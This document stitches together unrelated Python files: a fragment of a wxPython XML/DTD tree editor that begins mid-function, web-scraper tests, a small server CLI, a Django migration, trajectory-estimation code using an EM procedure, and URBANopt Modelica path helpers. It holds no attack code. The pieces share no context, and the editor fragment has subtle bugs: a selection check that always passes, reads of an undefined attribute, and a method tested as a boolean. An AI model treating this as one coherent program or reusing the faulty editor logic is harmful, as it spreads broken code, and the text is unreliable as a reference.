add_to_tree(el,rt): h = (el.tag,el.text) rr = self.tree.AppendItem(rt,getshortname(h)) self.tree.SetItemPyData(rr,h) for attr in el.keys(): h = el.get(attr) if not h: h = '""' h = (attr,h) rrr = self.tree.AppendItem(rr,getshortname(h,attr=True)) self.tree.SetItemPyData(rrr,h) for subel in list(el): add_to_tree(subel,rr) self.tree.DeleteAllItems() if name: titel = name elif self.xmlfn: titel = self.xmlfn else: titel = '[untitled]' self.top = self.tree.AddRoot(titel) self.SetTitle(" - ".join((os.path.split(titel)[-1],TITEL))) ## de in self.openxml ingelezen structuur self.rt bevat (in dit geval): ## [<parsedtd._Element object at 0x2527c50>, ## <parsedtd._Entity object at 0x2527f90>, ## <parsedtd._Entity object at 0x2527f50>] ## het _Element object bevat de attributen: ## type: 'ANY', ## name: 'note', ## occurrence: '', ## entity_list: [], ## attribute_list: [], ## is_alternative: False, ## subelement_list: [ ## <parsedtd._Element object at 0x176dcd0>, ## <parsedtd._Element object at 0x176dd50>, ## <parsedtd._Element object at 0x176dd90>, ## <parsedtd._Element object at 0x176ddd0>], ## en de _entity objecten: ## type: 'ent', ## name: 'writer', ## value: 'Donald Duck.' ## en ## type: 'ext', ## name: 'copyright', ## value: 'http://www.w3schools.com/entities.dtd' h = (self.rt.tag,'one',False) rt = self.tree.AppendItem(self.top,getshortname(h)) self.tree.SetItemPyData(rt,h) for el in list(self.rt): add_to_tree(el,rt) #self.tree.selection = self.top # set_selection() def on_bdown(self, ev=None): if wx.recon_context(self.tree, ev): self.item = self.tree.selection if self.item == self.top: wx.context_menu(self, ev, self.filemenu) elif self.item is not None: wx.context_menu(self, ev, self.editmenu) else: wx.Message.ok(self.title,'You need to select a tree item first') #menu.append() else: ev.skip() def onLeftDClick(self,ev=None): pt = ev.GetPosition() item, flags = self.tree.HitTest(pt) if item: if item == self.top: edit = False else: data = self.tree.GetItemText(item) edit = True ## if data.startswith(ELSTART): ## if self.tree.GetChildrenCount(item): ## edit = False if edit: self.edit() ev.Skip() def OnRightDown(self, ev=None): pt = ev.GetPosition() item, flags = self.tree.HitTest(pt) if item and item != self.top: self.tree.SelectItem(item) menu = self.init_menus(popup=True) self.PopupMenu(menu) ## print "klaar met menu" menu.Destroy() ## pass def OnKeyUp(self, ev=None): pt = ev.GetPosition() ky = ev.GetKeyCode() item, flags = self.tree.HitTest(pt) if item and item != self.top: if ky == wx.WXK_DELETE: self.delete() elif ky == wx.WXK_F2: self.edit() ev.Skip() def checkselection(self): sel = True self.item = self.tree.Selection if self.item is None or self.item == self.top: wx.MessageBox('You need to select an element or attribute first', self.title,wx.OK | wx.ICON_INFORMATION) return sel def expand(self,ev=None): item = self.tree.Selection if item: self.tree.ExpandAllChildren(item) def collapse(self,ev=None): item = self.tree.Selection if item: self.tree.CollapseAllChildren(item) def edit(self, ev=None): if DESKTOP and not self.checkselection(): return test = self.tree.GetItemText(self.item) # self.item.get_text() if is_element(test): tag,type,opt = self.tree.GetItemPyData(self.item) # self.item.get_data() data = {'item': self.item, 'tag': tag, 'type': type, 'opt': opt} if tag == self.rt.tag: edt = ElementDialog(self,title='Edit root element',item=data,not_root=False) else: edt = ElementDialog(self,title='Edit an element',item=data) if edt.ShowModal() == wx.ID_SAVE: h = (self.data["tag"],self.data['type'],self.data['opt']) self.tree.SetItemText(self.item,getshortname(h)) self.tree.SetItemPyData(self.item,h) elif is_attribute(test): nam,srt,opt,val = self.tree.GetItemPyData(self.item) # self.item.get_data() data = {'item': self.item, 'name': nam, 'srt': srt, 'opt': opt, 'val': val} edt = AttributeDialog(self,title='Edit an attribute',item=data) if edt.ShowModal() == wx.ID_SAVE: h = (self.data["name"],self.data["srt"], self.data["opt"],self.data["val"]) self.tree.SetItemText(self.item,getshortname(h,attr=True)) self.tree.SetItemPyData(self.item,h) elif is_entitydef(test): nam,srt,val = self.tree.GetItemPyData(self.item) # self.item.get_data() data = {'item': self.item, 'name': nam, 'srt': srt, 'val': val} edt = EntityDialog(self,title='Edit an attribute',item=data) if edt.ShowModal() == wx.ID_SAVE: h = (self.data["name"],self.data["srt"],self.data["val"]) self.tree.SetItemText(self.item,getshortname(h,attr=True)) self.tree.SetItemPyData(self.item,h) else: return edt.Destroy() def cut(self, ev=None): self.copy(cut=True) def delete(self, ev=None): self.copy(cut=True, retain=False) def copy(self, ev=None, cut=False, retain=True): # retain is t.b.v. delete functie def push_el(el,result): # print "start: ",result text = self.tree.GetItemText(el) data = self.tree.GetItemPyData(el) y = [] # print "before looping over contents:",text,y if is_element(text): x,c = self.tree.GetFirstChild(el) while x.IsOk(): z = push_el(x,y) x,c = self.tree.GetNextChild(el,c) # print "after looping over contents: ",text,y result.append((text,data,y)) # print "end: ",result return result if DESKTOP and not self.checkselection(): return text = self.tree.GetItemText(self.item) data = self.tree.GetItemPyData(self.item) txt = 'cut' if cut else 'copy' txt = txt if retain else 'delete' if data == (self.rt.tag,'one',False): wx.MessageBox("Can't %s the root" % txt, self.title,wx.OK | wx.ICON_ERROR) return ## print "copy(): print text,data" ## print text,data if retain: self.cut_el = None self.cut_att = None self.cut_ent = None if is_element(text): ## self.cut_el = self.item # hmmm... hier moet de aanroep van push_el komen self.cut_el = [] self.cut_el = push_el(self.item,self.cut_el) elif is_attribute(text): self.cut_att = data elif is_entitydef(text): self.cut_ent = data if cut: self.tree.Delete(self.item) self.enable_pasteitems(True) print "copy(): print self.cut_el, _att, _ent" print self.cut_el, self.cut_att, self.cut_ent def paste(self, ev=None,before=True,pastebelow=False): if DESKTOP and not self.checkselection(): return data = self.tree.GetItemPyData(self.item) if pastebelow: text = self.tree.GetItemText(self.item) if not is_element(text): wx.MessageBox("Can't paste under a non-element",self.title, wx.OK | wx.ICON_ERROR) return if is_pcdata(text): wx.MessageBox("Can't paste under PCDATA",self.title, wx.OK | wx.ICON_ERROR) return if data == self.rt: if before: wx.MessageBox("Can't paste before the root", self.title,wx.OK | wx.ICON_ERROR) return else: wx.MessageBox("Pasting as first element under root", self.title,wx.OK | wx.ICON_INFORMATION) pastebelow = True if self.cut: self.enable_pasteitems(False) print "paste(): print self.cut_el, _att, _ent" print self.cut_el, self.cut_att, self.cut_ent if self.cut_el: def zetzeronder(node,el,pos=-1): ## print "zetzeronder()" ## print "node: ",node ## print "el:", el ## item = self.tree.GetItemText(el) ## data = self.tree.GetItemPyData(el) if pos == -1: subnode = self.tree.AppendItem(node,el[0]) self.tree.SetItemPyData(subnode,el[1]) else: subnode = self.tree.InsertItemBefore(node,i,el[0]) self.tree.SetItemPyData(subnode,el[1]) for x in el[2]: zetzeronder(subnode,x) if pastebelow: node = self.item i = -1 else: node = self.tree.GetItemParent(self.item) # self.item.get_parent() x,c = self.tree.GetFirstChild(node) cnt = self.tree.GetChildrenCount(node) for i in range(cnt): if x == self.item: if not before: i += 1 break x,c = self.tree.GetNextChild(node,c) if i == cnt: i = -1 zetzeronder(node,self.cut_el[0],i) else: if self.cut_att: item = getshortname(self.cut_att,attr=True) data = self.cut_att else: item = getshortname(self.cut_ent,ent=True) data = self.cut_ent if pastebelow: node = self.tree.AppendItem(self.item,item) self.tree.SetItemPyData(node,data) else: add_to = self.tree.GetItemParent(self.item) # self.item.get_parent() added = False x,c = self.tree.GetFirstChild(add_to) for i in range(self.tree.GetChildrenCount(add_to)): if x == self.item: if not before: i += 1 node = self.tree.InsertItemBefore(add_to,i,item) self.tree.SetItemPyData(node,data) added = True break x,c = self.tree.GetNextChild(add_to,c) if not added: node = self.tree.AppendItem(add_to,item) self.tree.SetItemPyData(node,data) def paste_aft(self, ev=None): self.paste(before=False) def paste_und(self, ev=None): self.paste(pastebelow=True) def add_attr(self, ev=None): if DESKTOP and not self.checkselection(): return text = self.tree.GetItemText(self.item) if not is_element(text): wx.MessageBox("Can't insert under a non-element",self.title, wx.OK | wx.ICON_ERROR) return if is_pcdata(text): wx.MessageBox("Can't insert under PCDATA", self.title,wx.OK | wx.ICON_ERROR) return edt = AttributeDialog(self,title="New attribute") if edt.ShowModal() == wx.ID_SAVE: h = (self.data["name"],self.data["srt"], self.data["opt"],self.data["val"]) rt = self.tree.AppendItem(self.item,getshortname(h,attr=True)) self.tree.SetItemPyData(rt,h) edt.Destroy() def add_ent(self, ev=None): if DESKTOP and not self.checkselection(): return text = self.tree.GetItemText(self.item) if not is_element(text): wx.MessageBox("Can't insert under a non-element",self.title, wx.OK | wx.ICON_ERROR) return if is_pcdata(text): wx.MessageBox("Can't insert under PCDATA", self.title,wx.OK | wx.ICON_ERROR) return edt = EntityDialog(self,title="New entity") if edt.ShowModal() == wx.ID_SAVE: h = (self.data["name"],self.data["srt"],self.data["val"]) rt = self.tree.AppendItem(self.item,getshortname(h,ent=True)) self.tree.SetItemPyData(rt,h) edt.Destroy() def insert(self, ev=None,before=True,below=False): if DESKTOP and not self.checkselection(): return if below: text = self.tree.GetItemText(self.item) if not is_element(text): wx.MessageBox("Can't insert under a non-element",self.title, wx.OK | wx.ICON_ERROR) return if is_pcdata(text): wx.MessageBox("Can't insert under PCDATA", self.title,wx.OK | wx.ICON_ERROR) return if self.tree.GetItemPyData(self.item) == (self.rt.tag,'one',False) and not below: wx.MessageBox("Can't insert before/after the root", self.title,wx.OK | wx.ICON_ERROR) return edt = ElementDialog(self,title="New element") if edt.ShowModal() == wx.ID_SAVE: data = (self.data['tag'],self.data['type'],self.data['opt']) text = getshortname(data) if below: rt = self.tree.AppendItem(self.item,text) self.tree.SetItemPyData(rt,data) else: parent = self.tree.GetItemParent(self.item) item = self.item if not before else self.tree.GetPrevSibling(self.item) node = self.tree.InsertItem(parent,item,text) self.tree.SetPyData(node,data) edt.Destroy() def ins_aft(self, ev=None): self.insert(before=False) def ins_chld(self, ev=None): self.insert(below=True) def on_click(self, event): self.close() class MainGui(object): def __init__(self,args): app = wx.App(redirect=False) # True,filename="axe.log") if len(args) > 1: frm = MainFrame(None, -1, fn=args[1]) else: frm = MainFrame(None, -1) app.MainLoop() def test_is_element(): for test in [x[0] for x in SYMBOLS['elsrt'].values()]: assert is_element(" ".join((test,"testdata")))," ".join((test,'wordt niet herkend als element')) for test in ('<15> hallo','','xxxxx',"hallo daar vrienden"): assert not is_element(" ".join((test,"testdata")))," ".join((test,'wordt herkend als element')) def test_is_attribute(): for test in [x[0] for x in SYMBOLS['attsrt'].values()]: assert is_attribute(" ".join((test,"testdata")))," ".join((test,'wordt niet herkend als attribuut')) for test in ('<15> hallo','','xxxxx',"hallo daar vrienden"): assert not is_attribute(" ".join((test,"testdata")))," ".join((test,'wordt herkend als attribuut')) def test_is_entitydef(): for test in [x[0] for x in SYMBOLS['entsrt'].values()]: assert is_entitydef(" ".join((test,"testdata")))," ".join((test,'wordt niet herkend als entiteit')) for test in ('<15> hallo','','xxxxx',"hallo daar vrienden"): assert not is_entitydef(" ".join((test,"testdata")))," ".join((test,'wordt herkend als entiteit')) if __name__ == "__main__": ## print sys.argv ## test_is_element() ## test_is_attribute() ## test_is_entitydef() MainGui(sys.argv)
python
def register(mf): mf.overwrite_defaults({ "testvar": 42 }, scope="..notexistentmodule")
python
# <caret>
python
import os, sys, inspect # realpath() will make your script run, even if you symlink it :) cmd_folder = os.path.realpath(os.path.abspath(os.path.split(inspect.getfile( inspect.currentframe() ))[0])) if cmd_folder not in sys.path: sys.path.insert(0, cmd_folder) # use this if you want to include modules from a subfolder cmd_subfolder = os.path.realpath(os.path.abspath(os.path.join(os.path.split(inspect.getfile( inspect.currentframe() ))[0],"subfolder"))) if cmd_subfolder not in sys.path: sys.path.insert(0, cmd_subfolder)
python
from Core.Anlyst import anlyse from Core.URLs import WayUrl from Core.URLs import WebUrl from Test.NetWorkTest import WebUrlPostTest from Core.NetWork import VisitorWays from Core.NetWork import visit xpaths = ['//*[@id="form3"]/a/@href'] selector = '#form3 > a' def TestOfAnlyseByRegex(): url = "regex://a/b0" rep = getText().text anlyse(url,rep) def TestOfAnlseByWayUrl(): wayurl = WayUrl.WayUrlBuilder().addModel("xPath").build() anlyse(wayurl) def getText(): return WebUrlPostTest() def TestOfXPath(): url = WayUrl.WayUrlBuilder().addModel("xpath").\ addWays(xpaths[0]).build() rep = getText() res = anlyse(url,rep.text) print(res) def TestOfDOM(): rep = getText().text # print(url) url = WayUrl.WayUrlBuilder().\ addModel("DOM").\ addWays(selector).\ build() print(url) x = anlyse(url,rep) for item in x: print(item.string) print(x) def TestOfJson(): weburl = WebUrl.WebUrlBuilder().addHost("https://yz.chsi.com.cn/zsml/pages/getSs.jsp").build() rep = visit(weburl,VisitorWays.POST,dict(),dict()) rep.encoding = rep.apparent_encoding wayurl = WayUrl.WayUrlBuilder().addModel("JSON").build() res = anlyse(wayurl,rep.text) print(res) if __name__ == '__main__': TestOfAnlyseByRegex() TestOfXPath() TestOfDOM() TestOfJson() pass
python
import click from cortex.server import server from cortex.utils import logging # ----=========== CLI ===========---- @click.group() def cli(): pass @cli.command("run-server") @click.option("--host", "-h") @click.option("--port", "-p", type=int) @click.argument('publish_url') def run_server_cli(host, port, publish_url): with logging.log_exception(logging.get_module_logger(__file__), to_suppress=(Exception,)): server.run_server_with_url(host or "127.0.0.1", port or 8080, publish_url) if __name__ == "__main__": cli()
python
""" Account base class for holding Account information """ class Account: def __init__(self): self.employee_id: int self.user_name: str self.password: str
python
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='Book', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('title', models.CharField(max_length=50)), ('category', models.CharField(max_length=16, choices=[(b'CRIME', b'Crime'), (b'HISTORY', b'History'), (b'HORROR', b'Horror'), (b'SCIFI', b'Sci-fi')])), ], ), ]
python
import typing as T from dataclasses import dataclass from moonleap import Resource from titan.project_pkg.service import Tool @dataclass class SetupFile(Tool): pass @dataclass class SetupFileConfig(Resource): body: T.Union[dict, T.Callable] def get_body(self): return self.body() if callable(self.body) else self.body
python
import numpy as np from utils.tt_dataset import AgentType, TrajectoryTypeDataset from test_problems.u_grid_encoding import xy2mrx_v1 as xy2mrx from test_problems.risk_distances import dist2rt_v1 as dist2rt from test_problems.grid_encoding import rt2enc_v1 as rt2enc from utils import general as ge import scipy.optimize as opt def estimate_x_unobs(dataset): # use \hat{x} as unbiased estimate for df_info in dataset.df_list: df = df_info.df mask = ~df.is_obs & df.type_id == AgentType.ped df.loc[mask, ['sm_x', 'sm_y']] = df.loc[mask, ['x', 'y']].values def set_vic_sm_cv(dataset, dt): """ Set sm_[x y vx vy] for vic Velocity via constant velocity (from last) assume observations are continuous :param dataset: exist [frame_id(index) agent_id type_id x y sm_x sm_y sm_vx sm_vy] :param dt: :return: """ for df_info in dataset.df_list: df = df_info.df vic_ids = df.loc[df.type_id == AgentType.vic, 'agent_id'].unique() for vic_id in vic_ids: vic_df = df.loc[df.agent_id == vic_id] v = (vic_df[['x', 'y']].values[1:] - vic_df[['x', 'y']].values[:-1]) / dt v = np.vstack((v, v[-1, :])) df.loc[df.agent_id == vic_id, ['sm_vx', 'sm_vy']] = v df.loc[df.agent_id == vic_id, ['sm_x', 'sm_y']] =\ vic_df[['x', 'y']].values class DataframeInds: """ For later reassigning vector's values as df.loc[frame_id in frames & agent_id == agent_id, 'q'] = q[q_inds] """ def __init__(self, n_q_offset=0): self.frames_list = [] self.agent_ids = [] self.q_inds_list = [] self._n_q = n_q_offset def append(self, frames, agent_id, q_inds, is_relative=False): self.frames_list.append(frames) self.agent_ids.append(agent_id) add_inds = q_inds if is_relative: add_inds = add_inds + self._n_q self.q_inds_list.append(add_inds) self._n_q += len(q_inds) def get_offset(self): return self._n_q def __len__(self): return len(self.frames_list) def make_unobs_design_matrices(dataset, dt, mrx_grid, rt_grid): """ for data term: \lVert [q \kron (1 \\ 1)] \circ v + [(1-q) \kron (1 \\ 1)] \circ v \circ (Au) - \hat{v} \rVert_2^2 so A = (...\\ m_{r_t}(x_t) \\ ...) \kron (1 \\ 1) ie the matrix that picks out which u are 'active' during this 'slowing' timestep - order by [dataset.df_list, agent_id, frame_id] - assume ~is_obs => r >= 0 :param dataset: [sm_(x y vx vy] set for all agents, r] :param mrx_grid: :param rt_grid: :return: """ cols = ('sm_x', 'sm_y', 'sm_vx', 'sm_vy') mrx_list = [] z_list = [] v_hat = [] v = [] df_id2inds = {} n_q_offset = 0 for df_info in dataset.df_list: df = df_info.df df_inds = DataframeInds(n_q_offset=n_q_offset) print('df unobs total 2: ', (~df['is_obs'].values).sum()) ped_ids = np.unique(df.loc[df.type_id == AgentType.ped, 'agent_id'].values) for ped_id in ped_ids: # set \hat{v} = x_next - x_prev / dt ped_df = df.loc[df.agent_id == ped_id].copy() ped_frames = ped_df.index.unique().values ped_df['vh_x'] = np.nan ped_df['vh_y'] = np.nan ped_df.loc[ped_df.index[:-1], 'vh_x'] =\ (ped_df['x'].values[1:] - ped_df['x'].values[:-1]) / dt ped_df.loc[ped_df.index[:-1], 'vh_y'] =\ (ped_df['y'].values[1:] - ped_df['y'].values[:-1]) / dt unobs_ped_df = ped_df.loc[~ped_df.is_obs].iloc[:-1] frames = unobs_ped_df.index.unique().values if frames.size == 0: # print('skipped') continue frame_ptns = ge.split_to_consecutive_v0(frames) # single frames can have seq_r = [-1] frame_ptns = [frame_ptn for frame_ptn in frame_ptns if len(frame_ptn) > 1] if len(frame_ptns) == 0: continue seq_df_all = df.loc[ped_frames] seq_df_all = seq_df_all.loc[(seq_df_all.agent_id == ped_id) | (seq_df_all.type_id == AgentType.vic)] frames_all = seq_df_all.index.unique().values ped_pv_all, vic_pv_all = TrajectoryTypeDataset.build_nan_df( seq_df_all, frames_all[0], frames_all.size, cols=cols) for frame_ptn in frame_ptns: # print(frame_ptn) # seq_df = seq_df_all.loc[frame_ptn] # print(seq_df.loc[seq_df.agent_id == ped_id, 'is_r_all'].values) # print(seq_df.loc[seq_df.agent_id == ped_id, 'r'].values) # print(seq_df.loc[seq_df.agent_id == ped_id, 'is_obs'].values) # print(seq_df.loc[seq_df.agent_id == ped_id]) frames_all_inds = np.arange(frame_ptn.size) + int(frame_ptn[0] - frames_all[0]) seq_r = seq_df_all.loc[seq_df_all.agent_id == ped_id, 'r']\ .values.astype(np.int)[frames_all_inds] assert np.all(seq_r >= 0), seq_r # select via r -> n_frames, 4 vic_pv = vic_pv_all[frames_all_inds, seq_r, :] ped_pv = ped_pv_all[frames_all_inds, 0, :] frames_range = np.arange(frame_ptn.size) mrx_rows = xy2mrx(ped_pv[:, :2], vic_pv, mrx_grid) rt = dist2rt(ped_pv, vic_pv) rt = np.log10(rt) rt[:, :, 0] /= 2 z_rows = rt2enc(rt, rt_grid) # n_ped=n_frames, n_vic=n_frames, n_rt z_rows = z_rows[frames_range, frames_range, :] mrx_list.append(mrx_rows) z_list.append(z_rows) v_hat.append(unobs_ped_df.loc[frame_ptn, ['vh_x', 'vh_y']].values) v.append(unobs_ped_df.loc[frame_ptn, ['sm_vx', 'sm_vy']].values) df_inds.append(frame_ptn, ped_id, frames_range, is_relative=True) if len(df_inds) > 0: df_id2inds[df_info.datafile_path] = df_inds n_q_offset = df_inds.get_offset() mrx = np.vstack(mrx_list) z = np.vstack(z_list) z = np.hstack((1+0*z[:, [0]], z)) # constant v_hat = np.vstack(v_hat).T.ravel(order='F') v = np.vstack(v).T.ravel(order='F') print(mrx.shape) print(z.shape) print(v_hat.shape) return mrx, z, v_hat, v, df_id2inds def estimate_u_beta_q_em(mrx, Z, v_hat, v, sigma_x, dt, n_iter=10): q = initialize_q_em_v0(v_hat, v) beta = () u = () precision_u = 1/20 precision_beta = 1/10 def f_obj(q_err_, u_, beta_): mean_err = q_err_ + ((precision_u * u_) ** 2).sum() + \ ((precision_beta * beta_) ** 2).sum() return mean_err / q.size for _ in range(n_iter): u = u_given_q(q, mrx, v_hat, v, sigma_x, dt, precision_u) beta = beta_given_q(q, Z, beta=beta, precision_beta=precision_beta) q, q_err = q_given_u_beta(u, beta, mrx, v_hat, v, Z, sigma_x, dt) print('f = {:.4f}'.format(f_obj(q_err, u, beta))) return u, beta, q def estimate_u_beta_q_em_v1(mrx, Z, v_hat, v, sigma_x, dt, n_iter=10): q = initialize_q_em_v0(v_hat, v) beta = () u = () precision_u = 1. #/20 precision_beta = 1/10 def f_obj(q_err_, u_, beta_): n_u = u.size C = np.eye(n_u - 1) + np.diag(-np.ones(n_u - 2), k=-1) bc = np.zeros(n_u - 1) bc[0] = -u_[0] mean_err = q_err_ + ((precision_beta * beta_) ** 2).sum() + \ (precision_u * np.linalg.norm(C.dot(u_[1:]) - bc))**2 return mean_err / q.size for _ in range(n_iter): u = u_given_q_v1(q, mrx, v_hat, v, sigma_x, dt, precision_u) beta = beta_given_q(q, Z, beta=beta, precision_beta=precision_beta) q, q_err = q_given_u_beta(u, beta, mrx, v_hat, v, Z, sigma_x, dt) print('f = {:.4f}'.format(f_obj(q_err, u, beta))) return u, beta, q def initialize_q_em_v0(v_hat, v): v_norm = np.linalg.norm(v.reshape(-1, 2), axis=1) v_hat_norm = np.linalg.norm(v_hat.reshape(-1, 2), axis=1) q = (v_hat_norm >= 0.2 * v_norm) * 1. # q = (np.random.randn(q.size) > 0) * 1. # also works return q def u_given_q(q, mrx, v_hat, v, sigma_x, dt, precision_u): """ Estimate field parameters u - st. -1 <= u <= 1 \lVert (v \circ \{([1-q] \circ mrx) \kron (1 \\ 1)\}) u - \hat{v} \circ ([1-q] \kron (1 \\ 1)) \rVert_2^2 * (dt^2)/2*sigma_x^2 :param q: n, | :param mrx: n, n_u | design matrix for u grid :param v_hat: 2n, | differenced velocities (may be slowing) :param v: 2n, | actual desired velocities (estimated) :param sigma_x: :param dt: :param precision_u: :return: u: n_u, | """ n_u = mrx.shape[1] A = (mrx.T * (1-q)).T A = np.repeat(A, 2, axis=0) A = (A.T * v).T * dt / sigma_x b = np.repeat((1-q), 2) * v_hat * dt / sigma_x # res = np.linalg.lstsq(A, b, rcond=None)[0] # add shrinkage + in case close ranges of u not seen As = np.vstack((A, np.eye(n_u) * precision_u)) bs = np.hstack((b, np.zeros(n_u))) u = np.linalg.lstsq(As, bs, rcond=None)[0] if 1 < u.max(): print('1 < u_max, ', u.max()) if u.min() < -1: print('u_min < -1, ', u.min()) np.clip(u, -1, 1, out=u) return u def u_given_q_v1(q, mrx, v_hat, v, sigma_x, dt, precision_u): """ Estimate field parameters u, setting close one to -1 - st. -1 <= u <= 1 - u_0 = -1 - ||Cu||_2^2 <=> each u_i close to u_{i+1} ie add term (u has all but u_0) Cu - b_c = (-u_1 \\ u_1-u_2 \\ ...) - (-u_0 \\ 0 \\ ...) with u_0 = -1 - and A' = A[:, 1:], b' = b - u_0*A[:, 0] \lVert (v \circ \{([1-q] \circ mrx) \kron (1 \\ 1)\}) u - \hat{v} \circ ([1-q] \kron (1 \\ 1)) \rVert_2^2 * (dt^2)/2*sigma_x^2 :param q: n, | :param mrx: n, n_u | design matrix for u grid :param v_hat: 2n, | differenced velocities (may be slowing) :param v: 2n, | actual desired velocities (estimated) :param sigma_x: :param dt: :param precision_u: :return: u: n_u, | """ n_u = mrx.shape[1] A = (mrx.T * (1-q)).T A = np.repeat(A, 2, axis=0) A = (A.T * v).T * dt / sigma_x b = np.repeat((1-q), 2) * v_hat * dt / sigma_x u_0 = -1 C = np.eye(n_u-1) + np.diag(-np.ones(n_u-2), k=-1) bc = np.zeros(n_u-1) bc[0] = -u_0 As = np.vstack((A[:, 1:], C * precision_u)) bs = np.hstack((b - u_0 * A[:, 0], bc * precision_u)) u = np.linalg.lstsq(As, bs, rcond=None)[0] u = np.hstack((u_0, u)) if 1 < u.max(): print('1 < u_max, ', u.max()) if u.min() < -1: print('u_min < -1, ', u.min()) np.clip(u, -1, 1, out=u) return u def beta_given_q(q, Z, beta=(), precision_beta=0.): # add very small shrinkage beta = beta if len(beta) > 0 else np.zeros((Z.shape[1],), dtype=np.float) res = opt.minimize( lambda x: logistic_obj(x, q, Z).sum() + (x**2).sum() * precision_beta**2, beta, method='BFGS') beta = res.x return beta def logistic_obj(beta, q, Z): """ Calculate f_i for f(beta) = 1/n sum_{i=1}^n f_i with f_i = -[q_i log(h_i) + (1-q_i) log(1-h_i)] h_i = 1/(1 + exp{-beta'z_i}) :param beta: m, :param q: n, :param Z: n, m :return: """ y = -Z.dot(beta) # log_h = -np.log(1 + np.exp(y)) log_h = -np.logaddexp(0*y, y) log_1mh = y + log_h f = -(q * log_h + (1 - q) * log_1mh) return f def q_given_u_beta(u, beta, mrx, v_hat, v, Z, sigma_x, dt): q_ones = np.ones((Z.shape[0],), dtype=np.float) logistic_0 = logistic_obj(beta, 0*q_ones, Z) logistic_1 = logistic_obj(beta, q_ones, Z) A = np.repeat(mrx, 2, axis=0) scaling = 0.5 * (dt / sigma_x) ** 2 l2_err_0 = ((v*(A.dot(u)) - v_hat).reshape(-1, 2) ** 2).sum(axis=1) * scaling l2_err_1 = ((v - v_hat).reshape(-1, 2) ** 2).sum(axis=1) * scaling q = (l2_err_1 + logistic_1 <= l2_err_0 + logistic_0) * 1. q_err = (l2_err_1 + logistic_1) * q + (l2_err_0 + logistic_0) * (1-q) return q, q_err.sum() def set_q_estimates(dataset, df_id2inds, q): for df_info in dataset.df_list: df = df_info.df df['q'] = np.nan if df_info.datafile_path not in df_id2inds: continue df_inds = df_id2inds[df_info.datafile_path] for i in range(len(df_inds)): mask = (df.index.isin(df_inds.frames_list[i])) &\ (df.agent_id == df_inds.agent_ids[i]) df.loc[mask, 'q'] = q[df_inds.q_inds_list[i]]
python
""" **************************************************************************************************** :copyright (c) 2019-2021 URBANopt, Alliance for Sustainable Energy, LLC, and other contributors. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. Redistribution of this software, without modification, must refer to the software by the same designation. Redistribution of a modified version of this software (i) may not refer to the modified version by the same designation, or by any confusingly similar designation, and (ii) must refer to the underlying software originally provided by Alliance as “URBANopt”. Except to comply with the foregoing, the term “URBANopt”, or any confusingly similar designation may not be used to refer to any modified version of this software or any modified version of the underlying software originally provided by Alliance without the prior written consent of Alliance. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. **************************************************************************************************** """ import logging import os import shutil from uuid import uuid4 _log = logging.getLogger(__name__) def copytree(src, dst, symlinks=False, ignore=None): """ Alternate version of copytree that will work if the directory already exists (use instead of shutil) """ for item in os.listdir(src): s = os.path.join(src, item) d = os.path.join(dst, item) if os.path.isdir(s): shutil.copytree(s, d, symlinks, ignore) else: shutil.copy2(s, d) class ModelicaPath(object): """ Class for storing Modelica paths. This allows the path to point to the model directory, resources, and scripts directory. """ def __init__(self, name, root_dir, overwrite=False): """ Create a new modelica-based path with name of 'name' :param name: Name to create """ self.name = name self.root_dir = root_dir self.overwrite = overwrite # create the directories if root_dir is not None: check_path = os.path.join(self.files_dir) self.clear_or_create_path(check_path) check_path = os.path.join(self.resources_dir) self.clear_or_create_path(check_path) check_path = os.path.join(self.scripts_dir) self.clear_or_create_path(check_path) def clear_or_create_path(self, path): if os.path.exists(path): if not self.overwrite: raise Exception("Directory already exists and overwrite is false for %s" % path) else: shutil.rmtree(path) os.makedirs(path, exist_ok=True) @property def files_dir(self): """ Return the path to the files (models) for the specified ModelicaPath. This path does not include the trailing slash. :return: string, path to where files (models) are stored, without trailing slash """ if self.root_dir is None: return self.files_relative_dir else: return os.path.join(self.root_dir, self.name) @property def resources_relative_dir(self): """ Return the relative resource directory instead of the full path. This is useful when replacing strings within modelica files which are relative to the package. :return: string, relative resource's data path """ return os.path.join("Resources", "Data", self.name) @property def scripts_relative_dir(self, platform='Dymola'): """Return the scripts directory that is in the resources directory. This only returns the relative directory and is useful when replacing string values within Modelica files. :return: string, relative scripts path """ return os.path.join("Resources", "Scripts", self.name, platform) @property def files_relative_dir(self): """Return the path to the files relative to the project name.""" return os.path.join(self.name) @property def resources_dir(self): """ Return the path to the resources directory for the specified ModelicaPath. This path does not include the trailing slash. :return: string, path to where resources are stored, without trailing slash. """ if self.root_dir is None: return self.resources_relative_dir else: return os.path.join(self.root_dir, self.resources_relative_dir) @property def scripts_dir(self): """ Return the path to the scripts directory (in the resources dir) for the specified ModelicaPath. This path does not include the trailing slash. :return: string, path to where scripts are stored, without trailing slash. """ if self.root_dir is None: return self.scripts_relative_dir else: return os.path.join(self.root_dir, self.scripts_relative_dir) def simple_uuid(): """Generates a simple string uuid :return: string, uuid """ return str(uuid4()).split("-")[0]
python
